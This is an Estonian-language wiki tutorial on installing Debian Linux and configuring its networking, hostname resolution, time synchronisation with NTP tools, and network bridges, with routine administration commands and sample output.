&lt;br /&gt;
Debian on loodud Ian Murdock'i poolt aastal 1993, kusjuures operatsioonisüsteemi nimi on tuletatud autori ja tema abikaasa Debra eesnimedest.&lt;br /&gt;
&lt;br /&gt;
===Operatsioonisüsteemi paigaldamise ettevalmistamine===&lt;br /&gt;
&lt;br /&gt;
Debiani kasutamiseks on vajalik sobiv riistvara, näiteks tõenäoliselt praktiliselt suvaline 32 bit või 64 bit x86 arvuti sobib, alatest 486 PC mudelitest kuni HP DL 585 G5 ja IBM x3250 taoliste serveriteni. Riistvara sobivuse määrab põhiliselt operatsioonisüsteemi tuum, 2013 aastal on stabiilsel Debiani versioonil 7.0 selleks Linux tuuma versioon 3.2.0.&lt;br /&gt;
&lt;br /&gt;
Lisaks tuleks enne operatsioonisüsteemi paigaldamist otsutada, mida arvutiga teha soovitakse, sh võiks kujutada ette milline saab olema&lt;br /&gt;
&lt;br /&gt;
* arvuti nimi ja ip aadress&lt;br /&gt;
* kõvaketaste kasutus&lt;br /&gt;
* kas arvutit kasutatakse serveri või töökohana&lt;br /&gt;
* kuhu arvuti füüsiliselt paigutatakse&lt;br /&gt;
* kes vastutab arvuti haldamise eest (tarkvara uuendamine, süsteemi monitoorimine ja varundus/taaste)&lt;br /&gt;
&lt;br /&gt;
Üks otsekohene moodus operatsioonisüsteemi paigladmiseks on kasutada Debiani peeglites (ingl. k. mirror) jagatavat CD tõmmisest valmistatud bootivat CD plaati, kuna kõige populaarsem platvorm on x86, siis märgime, et&lt;br /&gt;
&lt;br /&gt;
* 64 bit AMD ja Inteli arvutitel kasutamiseks sobib Debiani amd64 arhitektuur&lt;br /&gt;
* 32 bit AMD ja Inteli arvutitel kasutamiseks sobib Debaini i386 arhitektuur&lt;br /&gt;
&lt;br /&gt;
Kuivõrd reeglina AMD ja Inteli 64 bit arvutid on 32 bit-ühilduvad, siis kasutades 32 bit operatsioonisüsteemi tarkvara 64 bit riistvaral käitub arvuti nagu 32 bitine arvuti. Kuigi eelpool on mainitud nimeliselt AMD ja Intelit kehtib öeldu ka teiste tootjate x86 platvormide kohta. Järgnevas on näited toodud konkreetsuse huvides 64 bit keskkonna kohta, kuid põhimõtteliselt toimub tegevus samamoodi ka 32 bit keskkonnas toimetades. Lisaks saab valida mitmete nö eriotstarbeliste tuumade hulgast, nt i386 non-pae, tuuma nimes kasutatakse '486' sel juhul.&lt;br /&gt;
&lt;br /&gt;
Niisiis, kui kasutada on 64 bit x86 riistvara tuleks kopeerida esimene amd64 arhitektuuri CD tõmmis, näiteks aadressilt http://cdimage.debian.org/debian-cd/7.0.0/amd64/iso-cd/debian-7.0.0-amd64-CD-1.iso ning kirjutada CD plaadile. Plaadi kirjutamisel peab jälgima, et tõmmist ei kirjutata plaadile mitte nagu suurt faili, vaid kirjutatakse tõmmisena, vastasel korral arvuti ei boodi sellelt plaadilt. Debian v. 7.0 on rangelt eristatud vabad ja suletud koodiga draiverid, kõige nähtavamalt mõjutab see tõenäoliselt operatsioonisüsteemi paigaldamise protseduur kui on tegemist vastava riistvaraga, http://www.debian.org/releases/stable/amd64/ch06s04.html.en.&lt;br /&gt;
&lt;br /&gt;
USB pulgalt paigaldades tundub, et uuemal ajal on .iso tõmmised nii ettevalmistatud (isohybrid techniques), et need saab lihtsalt dd programmiga kopeerida pulgale ja töötab, https://wiki.debian.org/BootUsb&lt;br /&gt;
&lt;br /&gt;
 # dd if=/tmp/debian-7.0.0-amd64-CD-1.iso of=/dev/sdc bs=4M&lt;br /&gt;
&lt;br /&gt;
Kui Debian paigaldatakse arvutile, kus juba on operatsioonisüsteem installeritud, nt Win7, siis tõenäoliselt õnnestub installeriga töötamise ajal Win7 failisüsteemide ja partitsioonide suurusi kahandada, tehes nii ruumi Debiani jaoks. Selleks tuleb kõvaketta seadistamise menüüvalikus öelda 'Manual' ja sealt edasi. Kirjanduse põhjal saab öelda, et vastvaid NTFS failisüsteeme ei ole tarvis eelnevalt defragmenteerida.&lt;br /&gt;
&lt;br /&gt;
Windows operatsioonisüsteemi all sobib USB pulk tekitada UUI (Universal USB Installer) programmiga, mille kasutamise juhised leiab aadressilt http://www.pendrivelinux.com/universal-usb-installer-easy-as-1-2-3/.&lt;br /&gt;
&lt;br /&gt;
===Operatsioonisüsteemi paigaldamine===&lt;br /&gt;
&lt;br /&gt;
Tuleb arvestada, et operatsioonisüsteemi paigaldamisel hävivad eelnevalt kõvaketastel olnud andmed. Peale paigaldusmeedialt arvuti käivitamist käivitatakse automaatselt operatsioonisüsteemi installer, mis näeb tekstrežiimis välja selline (alternatiivina esineb installeri kasutajaliides ka graafilises vormis)&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Debian-installer-v7.gif]]&lt;br /&gt;
&lt;br /&gt;
Installeri kasutamine on intuatiivne, paigaldamise tulemusena tekib iseseisvalt bootiv arvuti. Paigaldamise käigus sooritatakse järgmised otsustused ja tegevused&lt;br /&gt;
&lt;br /&gt;
* kõvaketakste kasutamine&lt;br /&gt;
* võrguseadistused&lt;br /&gt;
* tarkvarakomplekti valik (standard, töökoht, server)&lt;br /&gt;
* juurkasutaja parool&lt;br /&gt;
* paigaldatakse alglaadur (ingl. k. bootloader) GRUB&lt;br /&gt;
&lt;br /&gt;
Peale paigaldamist saab arvutisse konsoolilt sisse logida ja teatatakse midagi sellist&lt;br /&gt;
&lt;br /&gt;
  Linux loomaaed 2.6.26-2-xen-686 #1 SMP Wed May 16 23:50:09 UTC 2009 i686&lt;br /&gt;
  &lt;br /&gt;
  The programs included with the Debian GNU/Linux system are free software;&lt;br /&gt;
  the exact distribution terms for each program are described in the&lt;br /&gt;
  individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
  &lt;br /&gt;
  Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
  permitted by applicable law.&lt;br /&gt;
  Last login: Sun Mar 29 23:06:53 2009 from aix.auul&lt;br /&gt;
  mart@loomaaed:~$&lt;br /&gt;
&lt;br /&gt;
Oluline on tähale panna, et muu hulgas räägib Debian oma kasutustingimustest&lt;br /&gt;
&lt;br /&gt;
* Debian GNU/Linux süsteemis sisalduv tarkvara on vaba tarkvara&lt;br /&gt;
* Debian GNU/Linux süsteemil kasutamisega ei kaasne garantiid&lt;br /&gt;
&lt;br /&gt;
Paigaldamise lõpus küsitakse, kas on soov osaleda nn populaarsus-võistluses, kord nädalas hakkab arvuti saatma paigaldatud pakettide nimekirja arendajatele, tulemused avaldadakse aadressil http://popcon.debian.org/.&lt;br /&gt;
&lt;br /&gt;
===Operatsioonisüsteemi paigaldamine üle serial konsooli===&lt;br /&gt;
&lt;br /&gt;
Serial konsooli eksitab splash, sellest saab lahti vajutades Esc. Seejärel tuleb sisestada&lt;br /&gt;
&lt;br /&gt;
 boot: install console=ttyS0,9600&lt;br /&gt;
&lt;br /&gt;
===Community===&lt;br /&gt;
&lt;br /&gt;
Debian GNU/Linux osas suhtlemiseks või niisama tutvumiseks saab kasutada selliseid ressursse&lt;br /&gt;
&lt;br /&gt;
* Veebikoht - http://www.debian.org/&lt;br /&gt;
* Wiki - http://wiki.debian.org/&lt;br /&gt;
* Postiloendid asuvad aadressil http://lists.debian.org/&lt;br /&gt;
* Uudised - http://www.debian.org/News/project/&lt;br /&gt;
* Turvaparandusi puudutavad teadaanded - http://www.debian.org/security/&lt;br /&gt;
&lt;br /&gt;
===Operatsioonisüsteemi varundamine ja taaste===&lt;br /&gt;
&lt;br /&gt;
Operatsioonisüsteemi varundamiseks sobib kasutada programmi rsync kopeerides kogu failisüsteemi va kataloogid&lt;br /&gt;
&lt;br /&gt;
* /tmp&lt;br /&gt;
* /proc&lt;br /&gt;
* /sys&lt;br /&gt;
&lt;br /&gt;
teisele arvutile.&lt;br /&gt;
&lt;br /&gt;
Süsteemi taastamiseks tuleb arvuti bootida nt RIP-Linuxi CD plaadilt, seadistada võrk, kopeerida varundatud süsteem ja paigaldada bootloader.&lt;br /&gt;
&lt;br /&gt;
===IP aadress===&lt;br /&gt;
&lt;br /&gt;
Staatilise IP aadressi saab Debianile seadistada failist&lt;br /&gt;
&lt;br /&gt;
 /etc/network/interfaces&lt;br /&gt;
&lt;br /&gt;
Tüüpiliselt võiks see välja näna järgnev&lt;br /&gt;
&lt;br /&gt;
 # The loopback interface&lt;br /&gt;
 auto lo&lt;br /&gt;
 iface lo inet loopback&lt;br /&gt;
 &lt;br /&gt;
 # The first network card - this entry was created during the Debian installation&lt;br /&gt;
 # (network, broadcast and gateway are optional)&lt;br /&gt;
 auto eth0&lt;br /&gt;
 &lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
        address 192.168.1.10&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
        network 192.168.1.0&lt;br /&gt;
        broadcast 192.168.1.255&lt;br /&gt;
        gateway 192.168.1.1&lt;br /&gt;
&lt;br /&gt;
===Arvuti nimi ja resolver===&lt;br /&gt;
&lt;br /&gt;
Arvutil peab oleme korrektselt seadistatud nimi ning nimesüsteemi kasutamine. Arvuti nimi on kirjas failis /etc/hostname, näiteks&lt;br /&gt;
&lt;br /&gt;
  bassein&lt;br /&gt;
&lt;br /&gt;
ning failis /etc/hosts on kirjas nö staatiline nimelahendus, mis töötab päri-ja pöördteisenduse jaoks, lihtsal juhul on seal sellised read (kusjuures esimest rida tuleb kasutada sõna-sõnalt)&lt;br /&gt;
&lt;br /&gt;
  127.0.0.1 localhost.localdomain localhost&lt;br /&gt;
  192.168.1.20 bassein.loomaaed.tartu.ee bassein&lt;br /&gt;
&lt;br /&gt;
Peale nende failide sisu muutmist tuleb muudatuste kehtestamiseks öelda&lt;br /&gt;
&lt;br /&gt;
   bash# hostname bassein&lt;br /&gt;
&lt;br /&gt;
Õnnestunud muudatuse kinnituseks ütleb arvuti nii&lt;br /&gt;
&lt;br /&gt;
  bash# hostname&lt;br /&gt;
  bassein&lt;br /&gt;
  bash# hostname -f&lt;br /&gt;
  bassein.loomaaed.tartu.ee&lt;br /&gt;
&lt;br /&gt;
Selleks, et arvuti lahendaks muid nimesid, peab olema kirjas nimeserveri aadress failis /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
  nameserver 192.168.1.254&lt;br /&gt;
&lt;br /&gt;
Kusjuures, kui failis /etc/resolv.conf kasutada mitut sellist rida erinevate nimeserverite aadressidega, siis proovitakse igal nimelahendusel neid järjest läbi kuni jõutakse esimese töötavani. Vaikimisi oodatakse vastust 5 sekundit. Täiendavat infot saab resolveri manuaalist öeldes&lt;br /&gt;
&lt;br /&gt;
  # man resolver&lt;br /&gt;
&lt;br /&gt;
Tihtipeale kasutatakse keskkonnamuutujat PS1 prompti kujundamiseks ja mille väärtuse moodustamisel kasutatakse omakorda käsku hostname. Seetõttu muutub promptis oleva arvuti nime väärtus peale välja ja uuesti sisselogimist.&lt;br /&gt;
&lt;br /&gt;
====resolvconf====&lt;br /&gt;
&lt;br /&gt;
Lenny sisaldab lisaks nö staatilisele resolverile dünaamilist resolvconf tarkvara, asjakohane allikas on aadressil http://wiki.debian.org/NetworkConfiguration&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install resolvconf&lt;br /&gt;
&lt;br /&gt;
Osa olulisi faile asub kataloogis&lt;br /&gt;
&lt;br /&gt;
  /etc/resolvconf&lt;br /&gt;
&lt;br /&gt;
resolvconf oskab /etc/network/interfaces failist kasutada dns-nameservers parameetrit, nt selliselt&lt;br /&gt;
&lt;br /&gt;
  ...&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   address 192.168.10.199&lt;br /&gt;
   gateway 192.168.10.254&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
   broadcast 192.168.10.255&lt;br /&gt;
   dns-nameservers 192.168.10.254&lt;br /&gt;
&lt;br /&gt;
===Kellaaeg===&lt;br /&gt;
&lt;br /&gt;
Arvuti kellaaeg on korrektselt juhul kohalik aeg. See sõltub ajavööndi seadistusest, mis võiks Eestis olla&lt;br /&gt;
&lt;br /&gt;
  # ls -l /etc/localtime&lt;br /&gt;
  lrwxrwxrwx 1 root root 34 Jul 15 21:40 /etc/localtime -&amp;gt; /usr/share/zoneinfo/Europe/Tallinn&lt;br /&gt;
&lt;br /&gt;
Vajadusel tuleks eemaldada /etc/locatime ja öelda&lt;br /&gt;
&lt;br /&gt;
  # ln -s /usr/share/zoneinfo/Europe/Tallinn /etc/localtime&lt;br /&gt;
&lt;br /&gt;
Seadistamiseks sobib kusjuures kasutada pigem ehk utiliiti dpkg-reconfigure öeldes&lt;br /&gt;
&lt;br /&gt;
  # dpkg-reconfigure tzdata&lt;br /&gt;
&lt;br /&gt;
====Kellaaja esitamine ja seadistamine programmiga date====&lt;br /&gt;
&lt;br /&gt;
Töötava süsteemi käest saab küsida aega öeldes&lt;br /&gt;
&lt;br /&gt;
 $ date&lt;br /&gt;
 Sat Jan  8 14:07:25 EET 2011&lt;br /&gt;
&lt;br /&gt;
Lisaks saab küsida nt nö kaks nädalat tagasi, sellest on vahel kasu nt varundamisega seotud skriptides&lt;br /&gt;
&lt;br /&gt;
 $ date -d &amp;quot;2 weeks ago&amp;quot;&lt;br /&gt;
 Sat Dec 25 14:07:25 EET 2010&lt;br /&gt;
&lt;br /&gt;
====Kellaaja esitamine ja seadistamine programmiga rdate====&lt;br /&gt;
&lt;br /&gt;
Openrdate http://sourceforge.net/apps/mediawiki/openrdate on OpenBSD projekti rdate tarkvara port Linuxile. Tarkvara paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install rdate&lt;br /&gt;
&lt;br /&gt;
Kellaja ühekordne seadmine toimub öeldes&lt;br /&gt;
&lt;br /&gt;
  # rdate ajaserver.loomaaed.tartu.ee&lt;br /&gt;
&lt;br /&gt;
rdate võimaldab suhelda kahte tüüpi ajaserveritega&lt;br /&gt;
&lt;br /&gt;
* http://tools.ietf.org/html/rfc868 server - tavaliselt töötab inetd abil ja teenindab portidel 37/tcp või 37/udp&lt;br /&gt;
* http://tools.ietf.org/html/rfc2030 - tavaliselt töötab pordil 123/udp&lt;br /&gt;
&lt;br /&gt;
rdate võtmetega saab juhtida, millist režiimi klient parasjagu kasutab, nt&lt;br /&gt;
&lt;br /&gt;
 $  rdate -4 -p -n ntp.ut.ee&lt;br /&gt;
 Sat Jan  8 14:09:44 EET 2011&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* -4 - IPv4 protokoll&lt;br /&gt;
* -p - ainult küsida aega ja mitte seadistada&lt;br /&gt;
* -n kasutada rfc2030 ajaserverit&lt;br /&gt;
&lt;br /&gt;
Vaikimisi pöördub rdate ajaserveri poole kasutades rfc686 protokolli ja 37/tcp porti.&lt;br /&gt;
&lt;br /&gt;
====Kellaaja esitamine ja seadistamine programmiga ntpdate====&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install ntpdate&lt;br /&gt;
&lt;br /&gt;
ntpdate sobib kellaaja küsimiseks rfc2060 protokolli toetavalt serverilt (kasutades 123/udp porti) ning kohaliku süsteemi kellaaja seadmiseks. Ainult kellaaja küsimiseks sobib kasutada võtit -q&lt;br /&gt;
&lt;br /&gt;
 $ ntpdate -p 2 -q ntp.ut.ee ntp.aso.ee&lt;br /&gt;
 server 2001:bb8:2002:500:211:25ff:fe8f:7d64, stratum 2, offset 0.011371, delay 0.10133&lt;br /&gt;
 server 193.40.5.113, stratum 2, offset 0.000782, delay 0.03786&lt;br /&gt;
 server 195.80.105.226, stratum 1, offset 0.000217, delay 0.03523&lt;br /&gt;
  8 Jan 15:35:55 ntpdate[20870]: adjust time server 195.80.105.226 offset 0.000217 sec&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* -p 2 - igalt toodud ajaserverilt küsitakse aega kaks korda&lt;br /&gt;
* -q - aega ainult küsitakse ja ei seadistata&lt;br /&gt;
* vastust küsitakse kolmelt ajaserverilt kuna ntp.ut.ee nimel on A ja AAAA kirjed&lt;br /&gt;
&lt;br /&gt;
Algupärane ntpdate programm ise ei kasuta ühtegi seadistusfaili, kuid Debian keskkonnas on lisaks programm ntpdate-debian, mida juhib seadistusfail /etc/default/ntpdate mille abil saab juhtida, milliseid ajaservereid kasutatakse. Vaikimisi on seadistatud rida&lt;br /&gt;
&lt;br /&gt;
 NTPDATE_USE_NTP_CONF=yes&lt;br /&gt;
&lt;br /&gt;
mis tähendab, et kasutatakse ajaservereid ntp paketi tarkvara seadistusfailist /etc/ntp.conf. Kui ntpd programm töötab, siis ntpdate keeldub aega seadmast.&lt;br /&gt;
&lt;br /&gt;
====Kellaaja esitamine ja seadistamine tarkvaraga ntp====&lt;br /&gt;
&lt;br /&gt;
Kellaaja sünkronisseerimiseks sobib kasutada paketti ntp&lt;br /&gt;
&lt;br /&gt;
  # apt-get install ntp&lt;br /&gt;
&lt;br /&gt;
NTP tarkvara juhivad kaks seadistusfaili&lt;br /&gt;
&lt;br /&gt;
* /etc/default/ntp - milles sisaldub vaikimisi rida ja mis tähendab, et ntpd programmi käivitamisel seadistatakse kellaaeg nö kiiresti&lt;br /&gt;
&lt;br /&gt;
 NTPD_OPTS='-g'&lt;br /&gt;
&lt;br /&gt;
* /etc/ntp.conf - seadistusfail, kus näidatakse ajaserverid jms parameetrid&lt;br /&gt;
&lt;br /&gt;
Seadistusfailist /etc/ntp.conf tuleb leida read&lt;br /&gt;
&lt;br /&gt;
  server 0.debian.pool.ntp.org&lt;br /&gt;
  server 1.debian.pool.ntp.org&lt;br /&gt;
  server 2.debian.pool.ntp.org&lt;br /&gt;
  server 3.debian.pool.ntp.org&lt;br /&gt;
&lt;br /&gt;
ning soovi korral asendada need oma teenese pakkuja nime kasutava ühe reaga, nt&lt;br /&gt;
&lt;br /&gt;
  server ajaserver.loomaaed.tartu.ee&lt;br /&gt;
&lt;br /&gt;
Kulub mõni aega, nt 10 minutit kuni ntp töötamine stabiliseerub, sellest annab tunnistust, et ntptrace vastab kus arvuti asub ntp hierarhias, nt midagi sellist&lt;br /&gt;
&lt;br /&gt;
  # ntptrace -n&lt;br /&gt;
  127.0.0.1: stratum 3, offset -0.001927, synch distance 0.038145&lt;br /&gt;
  192.168.30.8: stratum 2, offset -0.000066, synch distance 0.020106&lt;br /&gt;
  192.168.30.15: stratum 1, offset 0.000010, synch distance 0.002270, refid 'GPS'&lt;br /&gt;
&lt;br /&gt;
võib ka küsida sarnaselt (see väljund ei ole eelmisega näitega kooskõlas)&lt;br /&gt;
&lt;br /&gt;
 # ntpq -np&lt;br /&gt;
      remote           refid      st t when poll reach   delay   offset  jitter&lt;br /&gt;
 ==============================================================================&lt;br /&gt;
  10.192.0.53     193.40.5.113     3 u   47   64   37    0.646  -22.260  73.828&lt;br /&gt;
&lt;br /&gt;
====Kellaaja esitamine ja seadistamine tarkvaraga openntpd====&lt;br /&gt;
&lt;br /&gt;
ntp tarkvarale on populaarne alternatiiv openntpd, üks praktiline erinevus on nt selles, et ntp sisaldab ntptrace utiliiti. OpenNTPD ei sisaldu Debian Squeeze paketihalduses.&lt;br /&gt;
&lt;br /&gt;
====Märkused====&lt;br /&gt;
&lt;br /&gt;
Selleks, et Xen domU kellaaega mõjutaks domU sees töötav ntp server tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  bash# sysctl -w xen.independent_wallclock=1&lt;br /&gt;
&lt;br /&gt;
või lisada faili /etc/sysctl.conf rida&lt;br /&gt;
&lt;br /&gt;
  xen.independent_wallclock=1&lt;br /&gt;
&lt;br /&gt;
Leap sekundite käsitlemine toimub tavaliselt kahel võimalikul viisil&lt;br /&gt;
&lt;br /&gt;
* lisatakse äkki sekund ära&lt;br /&gt;
&lt;br /&gt;
 # dmesg&lt;br /&gt;
 ..&lt;br /&gt;
 [14255112.244045] Clock: inserting leap second 23:59:60 UTC&lt;br /&gt;
&lt;br /&gt;
* määritakse sekundi lisandumine pikema perioodi peale&lt;br /&gt;
&lt;br /&gt;
===Võrgu seadistamine seadistusfailidega===&lt;br /&gt;
&lt;br /&gt;
Võrguseadmete seadistamine toimub faili /etc/networks/interfaces abil. Selle faili sisu alusel kehtestatakse võrguseadistused arvuti alglaadimisel või öeldes arvuti töötamisel&lt;br /&gt;
&lt;br /&gt;
  # /etc/init.d/networking restart&lt;br /&gt;
&lt;br /&gt;
Failis saab kasutada sellised sektsioone&lt;br /&gt;
&lt;br /&gt;
====lo ja eth võrguseadme seadistamine====&lt;br /&gt;
&lt;br /&gt;
  auto lo&lt;br /&gt;
  iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   address 192.168.10.10&lt;br /&gt;
   gateway 192.168.10.254&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
====dummy võrguseadme seadistamine====&lt;br /&gt;
&lt;br /&gt;
  auto dummy0&lt;br /&gt;
  iface dummy0 inet static&lt;br /&gt;
        address 192.168.13.251&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
        network 192.168.13.0&lt;br /&gt;
        broadcast 192.168.13.255&lt;br /&gt;
&lt;br /&gt;
Kui on soov kasutada enam kui ühte dummy seadet, tuleb laadida dummy moodul sarnaselt&lt;br /&gt;
&lt;br /&gt;
  # modprobe dummy numdummies=5&lt;br /&gt;
&lt;br /&gt;
VLAN kasutamist tutvustatakse punktis http://kuutorvaja.eenet.ee/wiki/VLAN_kasutamine#Linux.27i_kasutamine_mode_trunk_re.C5.BEiimis&lt;br /&gt;
&lt;br /&gt;
===Silla kasutamine===&lt;br /&gt;
&lt;br /&gt;
Silla (ingl. k. bridge) kasutamine toimub paketis bridge-utils utiliitidega, paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install bridge-utils&lt;br /&gt;
&lt;br /&gt;
Nt tekitame silla eth1 ja tap0 seadmetega&lt;br /&gt;
&lt;br /&gt;
 # brctl addbr br0&lt;br /&gt;
 # brctl addif br0 eth1&lt;br /&gt;
 # brctl addif br0 eth2&lt;br /&gt;
&lt;br /&gt;
Silla omadusi saab küsida öeldes&lt;br /&gt;
&lt;br /&gt;
 # brctl show&lt;br /&gt;
 bridge name     bridge id               STP enabled     interfaces&lt;br /&gt;
 br0             8000.00064f320035       yes             eth1&lt;br /&gt;
                                                         eth2&lt;br /&gt;
&lt;br /&gt;
Silla kasutamiseks peavad olema seadmed üleval, nt silla üles tõstmiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
 # brctl br0 up&lt;br /&gt;
&lt;br /&gt;
Silla saab eemaldamiseks tuleb sild alla lasta, eemaldada seadmed ning lõpuks sild&lt;br /&gt;
&lt;br /&gt;
 # brctl br0 down&lt;br /&gt;
 # brctl delif br0 eth1&lt;br /&gt;
 # brctl delif br0 eth2&lt;br /&gt;
 # brctl delbr br0&lt;br /&gt;
&lt;br /&gt;
Sillale saab seadistada ka ip aadressi, nii nagu paljudele muudele võrguseadmetele&lt;br /&gt;
&lt;br /&gt;
 # ifconfig br0 192.168.1.200 netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Tulemusena paistab&lt;br /&gt;
&lt;br /&gt;
 # ifconfig br0&lt;br /&gt;
 br0      Link encap:Ethernet  HWaddr 00:17:42:02:0b:8a  &lt;br /&gt;
          inet addr:192.168.1.250  Bcast:192.168.1.255  Mask:255.255.255.0&lt;br /&gt;
          inet6 addr: fe80::5c63:deff:fe92:e125/64 Scope:Link&lt;br /&gt;
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1&lt;br /&gt;
          RX packets:38 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;
          TX packets:17 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;
          collisions:0 txqueuelen:0 &lt;br /&gt;
          RX bytes:2008 (1.9 KiB)  TX bytes:3101 (3.0 KiB)&lt;br /&gt;
&lt;br /&gt;
kusjuures bridge mac aadressina kasutatakse vaikimisi kõige väiksemat mac aadressi bridge külge ühendatud seadmetest, st see aadress võib muutuda bridge töötamise käigus. mac aadressi saab ka muuta, nt&lt;br /&gt;
&lt;br /&gt;
 # ifconfig br0 hw ether 70:01:68:00:12:50&lt;br /&gt;
&lt;br /&gt;
STP (Spanning Tree Protocol) sisselülitamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
 # brctl stp br0 on&lt;br /&gt;
&lt;br /&gt;
ja silla STP info esitamiseks&lt;br /&gt;
&lt;br /&gt;
 # brctl showstp br0&lt;br /&gt;
 br0&lt;br /&gt;
  bridge id              8000.00064f320035&lt;br /&gt;
  designated root        8000.00064f320035&lt;br /&gt;
  root port                 0                    path cost                  0&lt;br /&gt;
  max age                  20.00                 bridge max age            20.00&lt;br /&gt;
  hello time                2.00                 bridge hello time          2.00&lt;br /&gt;
  forward delay            15.00                 bridge forward delay      15.00&lt;br /&gt;
  ageing time             300.01&lt;br /&gt;
  hello timer               1.49                 tcn timer                  0.00&lt;br /&gt;
  topology change timer     0.00                 gc timer                   5.49&lt;br /&gt;
  flags&lt;br /&gt;
 &lt;br /&gt;
 eth1 (1)&lt;br /&gt;
  port id                8001                    state                  disabled&lt;br /&gt;
  designated root        8000.00064f320035       path cost                  4&lt;br /&gt;
  designated bridge      8000.00064f320035       message age timer          0.00&lt;br /&gt;
  designated port        8001                    forward delay timer        0.00&lt;br /&gt;
  designated cost           0                    hold timer                 0.00&lt;br /&gt;
  flags&lt;br /&gt;
 &lt;br /&gt;
 eth2 (2)&lt;br /&gt;
  port id                8002                    state                forwarding&lt;br /&gt;
  designated root        8000.00064f320035       path cost                  4&lt;br /&gt;
  designated bridge      8000.00064f320035       message age timer          0.00&lt;br /&gt;
  designated port        8002                    forward delay timer        0.00&lt;br /&gt;
  designated cost           0                    hold timer                 0.48&lt;br /&gt;
  flags&lt;br /&gt;
&lt;br /&gt;
kust on näha, et &lt;br /&gt;
&lt;br /&gt;
* antud juhtumil on silla üks komponent välja lülitatud&lt;br /&gt;
&lt;br /&gt;
Sillaga seotud mac aadresside esitamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
 # brctl showmacs br0&lt;br /&gt;
 port no mac addr                is local?       ageing timer&lt;br /&gt;
   2     00:06:4f:32:00:35       yes                0.00&lt;br /&gt;
   1     00:06:4f:63:e3:d7       yes                0.00&lt;br /&gt;
   2     00:0c:42:07:1a:45       no                 0.04&lt;br /&gt;
   2     00:16:3e:00:00:01       no                83.98&lt;br /&gt;
   2     00:1c:c0:38:89:07       no                22.58&lt;br /&gt;
   2     70:01:68:00:11:45       no               227.43&lt;br /&gt;
   2     70:01:68:01:02:49       no                33.48&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://en.wikipedia.org/wiki/Bridging_(networking)&lt;br /&gt;
* http://tldp.org/HOWTO/BRIDGE-STP-HOWTO/index.html&lt;br /&gt;
* http://en.wikipedia.org/wiki/Spanning_tree_protocol&lt;br /&gt;
* http://en.wikipedia.org/wiki/LAN_switching&lt;br /&gt;
* http://backreference.org/2010/07/28/linux-bridge-mac-addresses-and-dynamic-ports/&lt;br /&gt;
&lt;br /&gt;
===Võrgu seadistamine programmiga ip===&lt;br /&gt;
&lt;br /&gt;
Programm ip võimaldab Linuxi kaasaegsetes 2.4 ja 2.6 tuumades sisalduva võrguliideste toega oluliselt  paindlikumalt ümber käia&lt;br /&gt;
kui ifconfig. Näited käsudest, mida on ohutu anda töötavas masinas.&lt;br /&gt;
&lt;br /&gt;
====Seadmed====&lt;br /&gt;
&lt;br /&gt;
 # ip link show&lt;br /&gt;
 1: lo:  mtu 16436 qdisc noqueue &lt;br /&gt;
     link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
 2: eth0:  mtu 1500 qdisc pfifo_fast qlen 1000&lt;br /&gt;
     link/ether 00:07:e9:0b:d3:26 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
&lt;br /&gt;
====Seadme aadressid====&lt;br /&gt;
&lt;br /&gt;
Aadresside esitamine&lt;br /&gt;
&lt;br /&gt;
 # ip address show eth1&lt;br /&gt;
   3: eth1:  mtu 1500 qdisc pfifo_fast qlen 1000&lt;br /&gt;
      link/ether 00:07:e9:0b:d3:d3 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
      inet 10.0.6.5/24 brd 10.0.6.255 scope global eth1&lt;br /&gt;
      inet 10.0.6.6/24 brd 10.0.6.255 scope global secondary eth1:1 &lt;br /&gt;
&lt;br /&gt;
====Ruuting====&lt;br /&gt;
&lt;br /&gt;
Ruutingute esitamine&lt;br /&gt;
&lt;br /&gt;
 # ip route show&lt;br /&gt;
  10.0.5.0/24 dev eth3  proto kernel  scope link  src 10.0.5.1 &lt;br /&gt;
  10.0.6.0/24 dev eth0  proto kernel  scope link  src 10.0.6.1 &lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
Ruutingu lisamine&lt;br /&gt;
&lt;br /&gt;
 # ip route add 192.168.10/24 dev eth0&lt;br /&gt;
&lt;br /&gt;
Ruutingu eemaldamine&lt;br /&gt;
&lt;br /&gt;
 # ip route del default via 10.0.14.1 dev eth0&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
Näited kästudest, mida on ehk ohutu anda töötava masina kasutuses mitte olema võrguseadme suhtes&lt;br /&gt;
&lt;br /&gt;
 # ip addr add 100.100.100.4/16 dev eth4&lt;br /&gt;
